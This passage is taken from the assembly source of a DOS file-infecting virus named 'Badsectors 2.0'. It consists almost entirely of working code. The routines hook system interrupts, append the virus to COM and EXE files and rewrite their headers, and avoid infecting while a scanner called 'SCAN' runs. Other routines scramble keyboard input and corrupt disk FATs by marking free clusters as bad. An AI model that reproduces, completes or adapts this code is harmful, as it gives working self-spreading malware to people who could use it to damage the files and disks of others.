   loop parseextens
endzero:
   mov al,0
   stosb
   retn
buildname endp

;���������� Subroutine = recover the original file name
recoverfname proc near
   test byte ptr ds:semaphor,8
   jnz mustbuild
   push ds
   mov di,ds:[filepointer]
   lds si,ds:[DTAofs]
   add si,1eh             ;position to file name
   mov cx,0dh
   cld
   rep movsb              ;restore the original file name
   pop ds
   jmp short leave99
mustbuild:
   push ds
   mov di,ds:[filepointer]
   lds si,ds:[DTAofs]
   call buildname
   pop ds
leave99:
   retn
recoverfname endp

;���������� Subroutine = adjust at 16bytes chunk of memory
adjustatpara proc near
   add ax,0Fh
   adc dx,0
   and ax,0fff0h
   retn
adjustatpara endp

;���������� Subroutine = save the file name in a temporary buffer
putfile proc near
   mov si,filename
   mov di,savefilename
   mov cx,50h             ;maximum 80bytes for a complete path
   cld
   rep movsb
   mov ax,ds:[filepointer]
   mov ds:[savefpointer],ax
   retn
putfile endp

;���������� Subroutine = restore the file name from that temporary buffer
getfile proc near
   mov si,savefilename
   mov di,filename
   mov cx,50h             ;maximum 80bytes for a complete path
   cld
   rep movsb
   mov ax,ds:[SaveFPointer]
   mov ds:[FilePointer],ax
   retn
getfile endp

;���������� Subroutine = transform character ASCII to number
chartonumber proc near
   cmp al,'0'
   jb notnumber
   cmp al,'9'
   ja notnumber           ;value in [0..9] range
   sub al,'0'             ;transform to number value
   clc
   jmp short leaveproc16
notnumber:
   stc                    ;signal error
leaveproc16:
   retn
chartonumber endp

;���������� Subroutine = get version/subversion of virus in ah/al
verssubvers proc near
   mov cx,0bh             ;length of 'Badsectors 2.0'
   mov di,0
   repe cmpsb
   stc
   jnz leaveproc          ;test if file already infected
   lodsb                  ;load 1 from version
   call chartonumber
   jc leaveproc
   xchg ah,al             ;version in ah
   lodsb
   cmp al,'.'
   stc
   jnz leaveproc
   lodsb
   call chartonumber      ;subversion in al
leaveproc:
   retn
verssubvers endp

;���������� Subroutine = read the last 18 bytes of the file
readlast18b proc near
   mov dx,filename
   mov ax,3d00h           ;open file in reading mode
   pushf
   call dword ptr ds:[offset int21_offset-TSRpart]
   jc exitproc18
   mov bx,ax              ;save handle
   mov ds:filehandle,ax
   mov ax,4202h           ;seek to end of file
   mov cx,0ffffh
   mov dx,0ffeeh          ;-12
   pushf
   call dword ptr ds:[offset int21_offset-TSRpart]
   mov bx,ds:filehandle
   mov ah,3fh             ;read from file
   mov dx,transfaddr
   mov cx,12h             ;read the last 18 bytes
   pushf
   call dword ptr ds:[offset int21_offset-TSRpart]
   jc exitproc18
   cmp ax,12h             ;test if 18 bytes read
   stc
   jnz exitproc18
   mov ah,3eh             ;close file handle
   mov bx,ds:filehandle
   pushf
   call dword ptr ds:[offset int21_offset-TSRpart]
exitproc18:
   retn
readlast18b endp

;���������� Subroutine = Test if file infected and get version/subversion
testinfect proc near
   call readlast18b
   jc waserror
   mov si,signpointer
   call verssubvers
   jmp short returnproc
waserror:
   clc
returnproc:
   retn
testinfect endp

;���������� Subroutine = get original length
putoriglength proc near
   call readlast18b
   jc leave111
   mov si,signpointer
   call verssubvers
   jc leave111
   cmp ax,100h
   je leave111
   mov si,transfaddr
   push es
   les di,ds:[DTAofs]
   test byte ptr ds:semaphor,8
   jnz notinDTA
   add di,1ah             ;position to file name in DTA
   jmp short getlength
notinDTA:
   cmp byte ptr es:[di],-1
   jne posfile
   add di,7
posfile:
   add di,1dh
getlength:
   cld
   movsw
   movsw
   pop es
leave111:
   retn
putoriglength endp

;���������� Subroutine = Unprot file, get time/date and open in R/W mode
preparefile proc near
   mov ax,4300h           ;fetch current file attribute
   mov dx,filename
   pushf
   call dword ptr ds:[offset int21_offset-TSRpart]
   jc signalerr
   mov ds:[fileattribute],cx ;save file attribute
   test cx,100b           ;is System file?
   jnz signalerr
   test cx,1              ;is Read-only?
   jz notreadonly
   mov ax,4301h           ;set File Attribute
   mov cx,0               ;remove file protection
   mov dx,filename
   pushf
   call dword ptr ds:[offset int21_offset-TSRpart]
   jc signalerr
NotReadOnly:
   mov ax,3d02h           ;open file in R/W mode
   mov dx,filename
   pushf
   call dword ptr ds:[offset int21_offset-TSRpart]
   jc signalerr
   mov ds:filehandle,ax   ;save file handle
   cmp byte ptr ds:[dosversion],3
   jb doslower30
   mov ax,5700h           ;query time/date of a file
   mov bx,ds:filehandle
   pushf
   call dword ptr ds:[offset int21_offset-TSRpart]
   mov ds:filetimestamp,cx   ;time stamp
   mov ds:filedatestamp,dx   ;date stamp
doslower30:
   clc
   retn
signalerr:
   stc
   retn
preparefile endp

;���������� Subroutine = Restore original file state
restfilestate proc near
   cmp byte ptr ds:[dosversion],3
   jb doslessthan3
   mov ax,5701h           ;set time/date of the file
   mov bx,ds:filehandle
   mov cx,ds:filetimestamp
   mov dx,ds:filedatestamp
   pushf
   call dword ptr ds:[offset int21_offset-TSRpart]
doslessthan3:
   mov ah,3eh             ;close current file
   mov bx,ds:filehandle
   pushf
   call dword ptr ds:[offset int21_offset-TSRpart]
   mov cx,ds:fileattribute
   test cx,1              ;test if the file was Read-only
   jz leavefinal
   mov ax,4301h
   mov dx,filename
   pushf                  ;restore the original state of the file
   call dword ptr ds:[offset int21_offset-TSRpart]
leavefinal:
   retn
restfilestate endp

;���������� INT 25h Handler ����������
int25handler:
   push ax
   push bx
   cmp al,1ah
   jae invaliddrv
   cmp cx,-1              ;count of sectors
   je invaliddrv
   shl al,1
   cbw
   mov bx,ax
   mov cs:drivestable[bx],dx
invaliddrv:
   pop bx
   pop ax
   jmp dword ptr cs:[offset int25_offset-TSRpart]
;���������� INT 26h Handler ����������
int26handler:
   push ax
   push bx
   cmp al,1ah
   jae invaliddrv1
   cmp cx,-1
   je invaliddrv1
   shl al,1
   cbw
   mov bx,ax
   mov cs:drivestable[bx],dx
invaliddrv1:
   pop bx
   pop ax
   jmp dword ptr cs:[offset int26_offset-TSRpart]
;---------------------------------------------------
startsector     dw 0
sector2         dw 0
sectorcounter   dw 1
buffofs         dw transfaddr
buffseg         dw 9ec0h

;���������� Subroutine = Dos Disk reader
DOSdiskreader proc near
   push ds
   push es
   cmp byte ptr cs:[dosversion],4
   jae DOS45
   pushf
   call dword ptr cs:[offset int25_offset-TSRpart]
   jmp short leavereader
DOS45:
   mov cs:[offset startsector-TSRpart],dx
   mov word ptr cs:[offset sector2-TSRpart],0
   mov cs:[offset sectorcounter-TSRpart],cx
   mov cs:[offset buffofs-TSRpart],bx
   mov cs:[offset buffseg-TSRpart],ds
   push cs
   pop ds
   mov bx,(offset startsector-TSRpart)
   mov cx,0FFFFH
   pushf
   call dword ptr cs:[offset int25_offset-TSRpart]
leavereader:
   pop dx
   pop es
   pop ds
   retn
DOSdiskreader endp

;���������� Subroutine = Dos Disk writer
DOSdiskwriter proc near
   push ds
   push es
   cmp byte ptr cs:[dosversion],4
   jae DOS_45
   pushf
   call dword ptr cs:[offset int26_offset-TSRpart]
   jmp short leavewriter
DOS_45:
   mov cs:[offset startsector-TSRpart],dx
   mov word ptr cs:[offset sector2-TSRpart],0
   mov cs:[offset sectorcounter-TSRpart],cx
   mov cs:[offset buffofs-TSRpart],bx
   mov cs:[offset buffseg-TSRpart],ds
   push cs
   pop ds
   mov bx,(offset startsector-TSRpart)
   mov cx,0ffffh
   pushf
   call dword ptr cs:[offset int26_offset-TSRpart]
leavewriter:
   pop dx
   pop es
   pop ds
   retn
DOSdiskwriter endp

;���������� Subroutine = read/write drives' sectors without any purposes
readwritesect proc near
   mov al,ds:[drivenumber]
   call analysedrive      ;if DOS or Novell drive
   jc noerrorexit
   cbw                    ;current drive number in ax
   mov bx,ax
   shl bx,1
   mov dx,ds:drivestable[bx] ;get the last drive's sector
   mov cx,1
   mov bx,transfaddr
   call DOSdiskreader
   jc exit23              ;if error leave procedure
   mov al,ds:drivenumber
   cbw
   mov bx,ax
   shl bx,1
   mov dx,ds:drivestable[bx]
   mov cx,1
   mov bx,transfaddr
   call DOSdiskwriter     ;save the last drive's sector
   jmp short exit23
noerrorexit:
   clc
exit23:
   retn
readwritesect endp

;���������� Subroutine = Virus cutter if error in writing operation
viruscutter proc near
   mov ax,4200h
   mov bx,ds:filehandle
   push bx                ;seek at the end of original file
   mov dx,ds:[offset newseg-TSRpart]   ;file length dx:cx
   mov cx,ds:[offset comexetype-TSRpart]
   pushf
   call dword ptr ds:[offset int21_offset-TSRpart]
   pop bx
   mov ah,40h
   mov cx,0               ;Cut the virus from the end of file
   pushf
   call dword ptr ds:[offset int21_offset-TSRpart]
   retn
viruscutter endp

;���������� Subroutine = Infect COM or EXE files
maininfector proc near
   cmp byte ptr ds:filetype,0     ;test if COM file
   je isCOM
   jmp isEXE
isCOM:
   call preparefile
   jnc OKcontinue
   jmp exitproc27
OKcontinue:
   mov ax,4202h
   xor cx,cx
   xor dx,dx
   mov bx,ds:filehandle   ;seek to end of file
   pushf
   call dword ptr ds:[offset int21_offset-TSRpart]
   mov ds:[offset newseg-TSRpart],ax        ;new pos. low
   mov ds:[offset comexetype-TSRpart],dx    ;new pos. high
   mov ds:[offset origlnglow-TSRpart],ax    ;new pos. low
   mov ds:[offset origlnghigh-TSRpart],dx   ;new pos. high
   mov byte ptr ds:[offset COMEXEmark-TSRpart],0 ;COM mark
   cmp ax,0f19bh          ;Low length < 0F19Bh
   nop
   jc suitablelength
   jmp showerror
suitablelength:
   cmp ax,800h
   jae suitsminim         ;800h <= Low length < 0F19Bh
   jmp showerror
suitsminim:
   mov ax,4200h
   xor cx,cx
   xor dx,dx              ;seek to the begin of file
   mov bx,ds:filehandle   ;to save the COM header
   pushf
   call dword ptr ds:[offset int21_offset-TSRpart]
   mov dx,(offset secondentry-TSRpart)
   mov bx,ds:filehandle
   mov ah,3fh             ;read from file 11 bytes
   mov cx,0bh
   nop
   pushf
   call dword ptr ds:[offset int21_offset-TSRpart]
   jc showerror
   mov ax,ds:[offset newseg-TSRpart]   ;file length dx:ax
   mov dx,ds:[offset comexetype-TSRpart]
   call adjustatpara      ;align at Paragraph
   push ax
   push dx
   mov cx,dx
   mov dx,ax
   mov ax,4200h           ;position at PARA alignement
   mov bx,ds:filehandle   ;at the end of file
   pushf
   call dword ptr ds:[offset int21_offset-TSRpart]
   mov bx,ds:filehandle
   mov ah,40h
   mov dx,0
   mov cx,(offset eovirus-TSRpart)     ;total length of virus
   nop
   pushf                  ;infect COM file at the end
   call dword ptr ds:[offset int21_offset-TSRpart]
   mov cx,ax              ;bytes actualy written
   pop dx
   pop ax
   jc errorwriting
   cmp cx,(offset eovirus-TSRpart)     ;test if OK writing
   jne errorwriting
   mov cx,4
   shr ax,cl              ;transform length in PARA
   add ax,0d0h
   nop
   mov ds:[offset adjuster-TSRpart],ax
   mov ax,4200H
   xor cx,cx
   xor dx,dx
   mov bx,ds:filehandle
   pushf                  ;seek again to the begin of file
   call dword ptr ds:[offset int21_offset-TSRpart]
   mov ah,40h
   mov bx,ds:filehandle
   mov dx,[offset startthunk-TSRpart]
   nop
   mov cx,0bh             ;length of thunk
   nop
   pushf                  ;write the new begin of COM file
   call dword ptr ds:[offset int21_offset-TSRpart]
   clc
   jmp short continue2
showerror:
   stc
continue2:
   pushf
   call restfilestate
   popf
exitproc27:
   retn
errorwriting:
   call viruscutter
   clc
   jmp short continue2
;���������� EXE infection ����������
isEXE:
   call preparefile
   jnc contoperation
   jmp exitEXEop
contoperation:
   mov ax,4202h
   xor cx,cx
   xor dx,dx
   mov bx,ds:filehandle
   pushf                  ;seek to the EOF
   call dword ptr ds:[offset int21_offset-TSRpart]
   mov ds:[offset newseg-TSRpart],ax
   mov ds:[offset comexetype-TSRpart],dx
   mov ds:[offset origlnglow-TSRpart],ax
   mov ds:[offset origlnghigh-TSRpart],dx
   mov byte ptr ds:[offset COMEXEmark-TSRpart],1 ;EXE mark
   cmp dx,0
   jne highernot0
   cmp ax,800h
   jae highernot0         ;if lower > 800H
   jmp issomeerr
highernot0:
   mov ax,4200h
   xor cx,cx
   xor dx,dx
   mov bx,ds:filehandle
   pushf                  ;seek to the beginning of the file
   call dword ptr ds:[offset int21_offset-TSRpart]
   mov ah,3fh             ;read EXE header
   mov dx,Transfaddr
   mov bx,ds:filehandle
   mov cx,18h
   pushf
   call dword ptr ds:[offset int21_offset-TSRpart]
   jnc EXEhdrOK
   jmp issomeerr
EXEhdrOK:
   cmp word ptr ds:[transfaddr],5A4DH  ;'MZ' - exe type
   je MZok
   jmp issomeerr
MZok:
   mov si,relossfile
   mov di,0c05h
   cld
   movsw                  ;get Reloss-->C05h, Exesp-->C07h
   movsw
   mov si,exeIPfile
   mov di,0c09h
   movsw                  ;get ExeIP-->C09h, Relocs-->C0Bh
   movsw
   mov ax,ds:[offset newseg-TSRpart]   ;file length dx:ax
   mov dx,ds:[offset comexetype-TSRpart]
   call adjustatpara
   mov ds:newlowlng,ax    ;save adjusted file length
   mov ds:newhighlng,dx
   mov cx,4
otherdiv2:
   shr dx,1               ;obtain file length in PARA
   rcr ax,1               ;in dx:ax
   loop otherdiv2
   sub ax,ds:hdrsize
   add ax,(offset newseg - TSRpart)/16
   nop
   mov word ptr ds:[exeIPfile],10h
   mov ds:relocs,ax
   add ax,17h
   nop
   mov ds:[relossfile],ax
   mov word ptr ds:exesp,200H
   mov ax,ds:newlowlng
   mov dx,ds:newhighlng
   add ax,(offset eovirus-TSRpart)
   nop
   adc dx,0
   push ax
   and ax,1ffh            ;make the necessary corrections
   mov ds:[transfaddr2],ax   ;PartPag adjustment
   pop ax
   mov cx,9
partpagadj:
   shr dx,1
   rcr ax,1
   loop partpagadj
   inc ax
   mov ds:signpointer,ax  ;PageCnt adjustment
   mov ax,4200h
   mov dx,ds:newlowlng
   mov cx,ds:newhighlng
   mov bx,ds:filehandle
   pushf                  ;seek to the EOF
   call dword ptr ds:[offset int21_offset-TSRpart]
   mov bx,ds:filehandle
   mov ah,40h
   mov dx,0               ;write virus to the EOF
   mov cx,(offset eovirus-TSRpart)
   nop
   pushf
   call dword ptr ds:[offset int21_offset-TSRpart]
   jc errwriteEXE
   cmp ax,(offset eovirus-TSRpart)
   nop
   jnz errwriteEXE        ;if error in writing virus
   mov ax,4200h
   xor cx,cx
   xor dx,dx
   mov bx,ds:filehandle
   pushf                     ;seek to the BOF
   call dword ptr ds:[offset int21_offset-TSRpart]
   mov ah,40h
   mov bx,ds:filehandle
   mov cx,18h
   mov dx,transfaddr
   pushf                     ;write the new EXE header
   call dword ptr ds:[offset int21_offset-TSRpart]
   clc
   jmp short mayleave
issomeerr:
   stc
mayleave:
   pushf
   call restfilestate
   popf
exitEXEop:
   retn
errwriteEXE:
   call viruscutter
   clc
   jmp short mayleave
maininfector endp

;���������� Subroutine = analyse to see if valid sectors
studymedia proc near
   cmp byte ptr ds:[diskmark1],29h     ; ')'
   jne oldertype
   cmp byte ptr ds:[diskmark2],36h     ; '6'
   je errorexit
   cmp byte ptr ds:[diskmark2],32h     ; '2'
   je Okleave
   cmp word ptr ds:[totsecs],0
   je errorexit
oldertype:
   cmp word ptr ds:[totsecs],5104h
   ja errorexit
Okleave:
   clc
   retn
errorexit:
   stc
   retn
studymedia endp

;���������� Subroutine = Modify 12-bit kind FAT
jumble12bitFAT proc near
   mov si,6
   mov cx,ds:[fatsize]
otherfatsect:
   call readFAT
otherclst:
   cmp word ptr ds:[fatFLAG],0
   je donothurt1
   cmp byte ptr ds:transfaddr[si],0    ;test if free
   jne rndcluster
   cmp byte ptr ds:transfaddr1[si],0   ;test if free
   jne rndcluster
   cmp byte ptr ds:transfaddr2[si],0   ;test if free
   jne rndcluster
   mov byte ptr ds:transfaddr[si],0f7h
   mov byte ptr ds:transfaddr1[si],7fh
   mov byte ptr ds:Transfaddr2[si],0ffh
   or byte ptr ds:semaphor,2
   dec word ptr ds:[fatFLAG]
rndcluster:
   add si,3
   mov ax,ds:[sectsiz]
   sub ax,si
   cmp ax,3
   jae otherclst
donothurt1:
   test byte ptr ds:semaphor,2
   jz forgiveclust1
   call writechangedFAT
forgiveclust1:
   add si,3
   sub si,ds:[sectsiz]
   inc word ptr ds:[ressecscopy]
   loop otherfatsect
   retn
jumble12bitFAT endp

;���������� Subroutine = Modify 16-bit kind FAT
jumble16bitFAT proc near
   mov si,8
   mov cx,ds:[fatsize]
anotherFATsect:
   call readFAT
othercluster:
   cmp word ptr ds:[fatFLAG],0
   je donothurt
   cmp word ptr ds:transfaddr[si],0    ;test if unused cluster
   jne randomcluster
   mov word ptr ds:transfaddr[si],0fff7h    ;mark BAD
   or byte ptr ds:semaphor,2
   dec word ptr ds:[fatFLAG]
randomcluster:
   add si,2
   mov ax,ds:[sectsiz]
   sub ax,si
   cmp ax,2
   jae othercluster
donothurt:
   test byte ptr ds:semaphor,2
   jz forgiveFAT
   call writechangedFAT
forgiveFAT:
   mov si,0
   inc word ptr ds:[ressecscopy]
   loop anotherFATsect
   retn
jumble16bitFAT endp

;���������� Subroutine = Read the partition sector if any
readFAT proc near
   push cx
   push si
   mov al,ds:drivenumber
   mov bx,transfaddr
   mov cx,1
   mov dx,ds:[ressecscopy]
   call DOSdiskreader
   pop si
   pop cx
   retn
readFAT endp

;���������� Subroutine = Write changes on FAT to disk
writechangedFAT proc near
   and byte ptr ds:semaphor,0fdh
   push cx
   push si
   mov dx,ds:[ressecscopy]
   mov cl,ds:[fatcnt]
   mov ch,0
otherFAT:
   mov al,ds:drivenumber
   push dx
   push cx
   mov cx,1
   mov bx,transfaddr
   call DOSdiskwriter
   pop cx
   pop dx
   jc erroratwrite
   mov al,ds:[fatsize]
   mov ah,0
   add dx,ax
   loop otherFAT
erroratwrite:
   pop si
   pop cx
   retn
writechangedFAT endp

;���������� Subroutine = Get BOOT P.B. info and attack FAT
attackFAT proc near
   test byte ptr ds:semaphor,10h
   jz returnpoint
   mov word ptr ds:[secondcounter],-1
   and byte ptr ds:semaphor,0efh
   mov al,ds:[drivenumber]
   call analysedrive
   jc returnpoint         ;if unknown drive exit
   mov cx,1               ;count of sectors
   mov dx,0               ;DOS logical sector
   mov bx,transfaddr
   call DOSdiskreader
   jc returnpoint
   cld
   mov si,0d81h           ;get sector size
   mov di,sectsiz
   movsw
   mov si,0d84h
   mov di,ressecs
   movsw                  ;get reserved sectors
   movsb                  ;get fat counter
   mov si,0d8ch           ;get fat size
   movsw
   mov ax,ds:[ressecs]
   mov ds:[ressecscopy],ax
   mov word ptr ds:[fatFLAG],4
   call studymedia	  ;get info about FAT pointer
   jc is16bitFAT
   call jumble12bitFAT
   jmp short returnpoint
is16bitFAT:
   call jumble16bitFAT
returnpoint:
   retn
attackFAT endp

;���������� Subroutine = Read Timer Tick from ROM Bios variables
readtimertick proc near
   push ds
   xor ax,ax
   mov ds,ax
   mov ax,ds:timertick
   pop ds
   retn
readtimertick endp

;���������� Subroutine = Initialize FirstCounter
initfirstcntr proc near
   push ax
   call readtimertick
   and ax,7fffh
   or ax,1ffh             ;values in the range [1FF..7FFF]
   mov cs:firstcounter,ax
   pop ax
   retn
initfirstcntr endp

;���������� INT 8 Handler ����������
entryI8:
   test byte ptr cs:semaphor,1
   jnz firstiszero
   dec word ptr cs:firstcounter
   jnz firstiszero
   or byte ptr cs:semaphor,1
firstiszero:
   test byte ptr cs:semaphor,10h
   jnz secondiszero
   dec word ptr cs:secondcounter
   jnz secondiszero
   or byte ptr cs:semaphor,10h
secondiszero:
   jmp dword ptr cs:[offset int08_offset-TSRpart]

;���������� INT 16h Handler ����������
entryI16:
   cmp ah,0               ;Read function (wait keystroke)
   je isreadfn
   cmp ah,10h
   je isreadfn
   cmp ah,1               ;Check if a key stroke is ready
   je istestfn
   cmp ah,11h
   jne leaveI16
istestfn:
   test byte ptr cs:semaphor,100b
   jz leaveI16
   mov ax,cs:scanASCIIchr
   or ax,ax
   retf 2
isreadfn:
   push ax
   test byte ptr cs:semaphor,1
   jz firstdelay
   test byte ptr cs:semaphor,100b
   jnz resetallflags
   call readtimertick
   test ax,11b
   jz scramble
   pop ax
   pushf
   call dword ptr cs:[offset int16_offset-TSRpart]
   mov cs:scanASCIIchr,ax
   or byte ptr cs:semaphor,100b
   iret
resetallflags:
   pop ax
   mov ax,cs:scanASCIIchr
   call initfirstcntr
   and byte ptr cs:semaphor,0fah
   iret
scramble:
   pop ax
   push ax
   pushf
   call dword ptr cs:[offset int16_offset-TSRpart]
   call initfirstcntr
   and byte ptr cs:semaphor,0feh
firstdelay:
   pop ax
leaveI16:
   jmp dword ptr cs:[offset int16_offset-TSRpart]

;���������� INT 1Bh Handler ����������
entryI1b:
   iret
;���������� INT 24h Handler ����������
int24handler:
   test ah,00001000b      ;test device type
   jz notfailure
   mov al,3               ;ret to appl.showing a DOS failure
   iret
notfailure:
   test ah,00100000b      ;test IGNORE bit
   mov al,0               ;signal ignore the error
   iret
   mov al,2
   iret

;���������� Subroutine = DOS Analysa and FileName
testDOS proc near
   cld
   mov ax,es:[di+4]       ;es:di from DOS information
   test ah,80h
   stc
   jz leave1
   cmp byte ptr [si],0    ;si == File name pointer
   je signerror
   push si
   push di
   add di,0ah             ;position on Dos Device Names
nextletter:
   lodsb
   mov ah,es:[di]
   cmp ax,2000h           ;al may be 0 from ASCIIZ name
   je signOK
   cmp ax,202eh           ;al may be '.' from extension
   je signOK
   cmp al,ah
   jne signerror
   inc di
   jmp short nextletter
signerror:
   stc
   jmp short getout
signOK:
   clc
getout:
   pop di
   pop si
leave1:
   retn
testDOS endp

;���������� Subroutine = parse device drivers to lookup for filename
parsedrivers proc near
   push es
   mov ah,52h             ;es:bx DOS important info
   pushf
   call dword ptr ds:[offset int21_offset-TSRpart]
   les di,dword ptr es:[bx+0CH]   ;DOS Segment
   mov si,ds:[filepointer]
anotherdevice:
   call testDOS
   jnc noerror            ;DOS file found
   les di,dword ptr es:[di]
   cmp di,0ffffh          ;end of Linked List
   jne anotherdevice
   stc                    ;signal file not SYSTEM file
noerror:
   pop es
   retn
parsedrivers endp

antidot         db      'SCAN'

;���������� Subroutine = test if SCAN is in charge
isscancharge proc near
   call searchfilename
   mov si,(offset antidot-TSRpart)
   cld
   mov cx,4
   repe cmpsb
   retn
isscancharge endp
;���������� NEW DOS FUNCTIONS from corrupted INT 21H ����������
reentrstatus:
   push cs           ;test to see if it can call INT 21H
   pop es
   mov bx,DOScounter
   test byte ptr es:[bx],-1
   jz  notDOSactive
   iret
notDOSactive:
   jmp dword ptr cs:[offset int21_offset-TSRpart]


loadandgo:
   push ax
   push bx
   push cx
   push dx
   push si
   push di
   push bp
   push ds
   push es
   call getfilename
   mov ah,34h             ;check reentrancy status
   pushf
   call dword ptr cs:[offset int21_offset-TSRpart]
   test byte ptr es:[bx],0ffh
   jnz leaveloadgo        ;if DOS active don't do it
   push cs
   push cs
   pop ds
   pop es
   call searchfilename
   mov ds:[filepointer],di
   call parsedrivers
   jnc leaveloadgo        ;if file is SYSTEM don't touch
   call getdrive          ;obtain the current drive
   call attackFAT
   call readwritesect     ;Read and Write harmless
   jc leaveloadgo         ;if error in reading EXIT
   call keybanderror      ;Get Keyb.Break and Error hand.
   mov ah,0
   call comexetester
   jc putoriginalvect     ;not an executable file
   mov ds:[filetype],al   ;0-->COM/1-->EXE
   call isscancharge
   jz putoriginalvect
   call testinfect
   jnc putoriginalvect
   call maininfector
putoriginalvect:
   call restorekeyberr
leaveloadgo:
   pop es
   pop ds
   pop bp
   pop di
   pop    si
   pop dx
   pop cx
   pop bx
   pop ax
   jmp exit_handler

find1stfile:
   mov cs:fileofs,dx
   mov cs:fileseg,ds
   pushf
   call dword ptr cs:[offset int21_offset-TSRpart]
   jnc searchOK
   jmp searchexit
searchOK:
   pushf
   push ax
   push bx
   push cx
   push dx
   push si
   push di
   push bp
   push ds
   push es
   mov ah,34h             ;test critical section in DOS
   pushf
   call dword ptr cs:[offset int21_offset-TSRpart]
   test byte ptr es:[bx],0ffh
   jz OKnotDOS
   jmp leavesearcher
OKnotDOS:
   lds dx,dword ptr cs:fileofs
   call getfilename
   push cs
   push cs
   pop ds
   pop es
   and byte ptr ds:semaphor,0f7h
   call searchfilename
   mov ds:[filepointer],di
   call putfile           ;save path in a temporary buffer
   call parsedrivers
   jc notsystem
   jmp leavesearcher
notsystem:
   call    getdrive
backagain:
   call keybanderror      ;disable possible async.events
   call readwritesect
   jnc notdiskerr
   jmp short diskerr
   nop
notdiskerr:
   call anyfile           ;search any file
   mov ah,2fh             ;get DTA in es:bx
   pushf
   call dword ptr ds:[offset int21_offset-TSRpart]
   mov word ptr ds:[DTAofs],bx
   mov word ptr ds:[DTAofs+2],es  ;save DTA pointer
   push cs
   pop es
   mov dx,newDTA
   mov ah,1ah             ;set a new DTA address
   pushf
   call dword ptr ds:[offset int21_offset-TSRpart]
   mov ah,4eh             ;find first matching file
   mov dx,filename
   mov cx,00100011b       ;Archive/Hidden/Read-only
   pushf
   call dword ptr ds:[offset int21_offset-TSRpart]
   jc errorfunc
loopnextfile:
   mov ah,1
   call comexetester
   jc notexecomform
   mov ds:[filetype],al
   mov si,DTAfilename
   mov di,ds:[filepointer]
   mov cx,0dh
   cld                    ;get the new file name
   rep movsb
   call isscancharge
   jz notexecomform
   call testinfect
   jnc notexecomform
   call maininfector
   jc notexecomform
   jmp short errorfunc
notexecomform:
   mov dx,newDTA
   mov ah,4fh             ;find next matching file
   pushf
   call dword ptr ds:[offset int21_offset-TSRpart]
   jnc loopnextfile
errorfunc:
   lds dx,ds:[DTAofs]     ;set the original DTA
   mov ah,1ah
   pushf
   call dword ptr cs:[offset int21_offset-TSRpart]
   push cs
   pop ds
diskerr:
   call getfile
   call recoverfname
   call putoriglength
   call restorekeyberr    ;restore Keyb break and Crit.Err.
leavesearcher:
   pop es
   pop ds
   pop bp
   pop di
   pop    si
   pop dx
   pop cx
   pop bx
   pop ax
   popF
searchexit:
   dec byte ptr cs:DOScounter
   retf 2                 ;free the flag from stack


find1stFCBfile:
   mov cs:fileofs,dx
   mov cs:fileseg,ds
   pushf
   call dword ptr cs:[offset int21_offset-TSRpart]
   cmp al,0
   jne searchexit
   pushf
   push ax
   push bx
   push cx
   push dx
   push si
   push di
   push bp
   push ds
   push es
   mov ah,34h             ;test critical section in DOS
   pushf
   call dword ptr cs:[offset int21_offset-TSRpart]
   test byte ptr es:[bx],-1
   jnz leavesearcher
   lds si,dword ptr cs:fileofs
   call getvaliddrive
   push cs
   pop es
   mov di,filename
   call buildname
   push cs
   pop ds
   mov word ptr ds:[filepointer],filename
   call parsedrivers
   jnc leavesearcher
   or byte ptr ds:semaphor,8
   mov di,filename
   mov al,ds:[drivenumber]
   cld
   add al,41h             ;get drive letter
   mov ah,':'
   stosw
   mov al,0
   stosb
   mov word ptr ds:[filepointer],0fa8h
   call putfile
   jmp backagain


findnextfile:
   pushf
   call  dword ptr cs:[offset int21_offset-TSRpart]
   jc leaveDOSfn
   pushf
   push ax
   push bx
   push cx
   push dx
   push si
   push di
   push bp
   push ds
   push es
   mov ah,34h             ;test critical section in DOS
   pushf
   call dword ptr cs:[offset int21_offset-TSRpart]
   test byte ptr es:[bx],-1
   jnz restoreregs
   push cs
   push cs
   pop ds
   pop es
   and byte ptr ds:semaphor,0f7h
nextparse:
   call keybanderror
   call getfile
   push es
   mov ah,2fh             ;Get DTA in es:bx
   pushf
   call dword ptr ds:[offset int21_offset-TSRpart]
   mov word ptr ds:[DTAofs],bx
   mov word ptr ds:[DTAofs+2],es
   pop es
   call RecoverFName
   call ParseDrivers
   jnc notsystemagain
   call putoriglength
notsystemagain:
    call restorekeyberr
restoreregs:
   pop es
   pop ds
   pop bp
   pop di
   pop si
   pop dx
   pop cx
   pop bx
   pop ax
   popf
leaveDOSfn:
   dec byte ptr cs:DOScounter
   retf 2


findnextFCBfile:
   pushf
   call dword ptr cs:[offset int21_offset-TSRpart]
   cmp al,0
   jne leaveDOSfn
   pushf
   push ax
   push bx
   push cx
   push dx
   push si
   push di
   push bp
   push ds
   push es
   mov ah,34h             ;test critical section in DOS
   pushf
   call dword ptr cs:[offset int21_offset-TSRpart]
   test byte ptr es:[bx],-1
   jnz restoreregs
   push cs
   push cs
   pop ds
   pop es
   or byte ptr ds:semaphor,8
   jmp short nextparse

   db 14 dup (0)


startthunk:
   mov ax,cs
   db 05       ;'add ax,06FEh'
adjuster   dw 06feh
   push ax
   mov ax,offset entryaddress - newSeg
   push ax
   retf

   db 0
   db 0, 0, 0, 0
;���������� New entry segment ����������
newseg          dw 2712h
comexetype      db 0
                db 0
COMEXEmark      db 0      ;0--COM/ 1--EXE
secondentry:
   mov ax,4c00h
   int 21h
   db 6 dup (90h)
;���������� Entry routine embedded ����������
entryaddress:
   push ds                ;save the original segment
   push ds
   pop ax
   dec ax
   mov ds,ax              ;position on MCB segment
   cmp byte ptr ds:MCBtype,'Z'    ;if last block
   jnz leavevirus
   cmp word ptr ds:MCBsize,blocklength
   jb leavevirus
   mov ah,30h             ;get DOS version
   int 21h
   cmp al,2
   jb leavevirus          ;if version less than 2.0
   push ds
   xor ax,ax
   mov ds,ax
   mov ax,ds:[totalmem]
   pop ds
   mov cl,06
   shl ax,cl
   mov es,ax
   push cs
   pop ds
   mov si,offset signature-newseg
   mov di,0
   mov cx,000bh
   cld
   repz                   ;test to see if already in memory
   cmpsb                  ;'Badsectors' test string
   jnz notinmem
leavevirus:
   push cs
   pop ds
   cmp byte ptr ds:[offset COMEXEmark-newseg],1
   je retexectrl          ;if 1 return in EXE style
   pop es                 ;es restored on original seg
   push es
   mov di,100h            ;COM start address
   push di
   mov si,(offset secondentry -newseg)
   mov cx,0bh             ;copy the second entry point routine
   cld
   rep movsb
   push es
   pop ds
   retf
retexectrl:
   pop ax                 ;get original ds pointer on Psp
   push ax                ;save ds
   add ax,10h
   add ds:sspointer,ax    ;build original ss
   add word ptr ds:terminaddr+2,ax     ;offset for returning
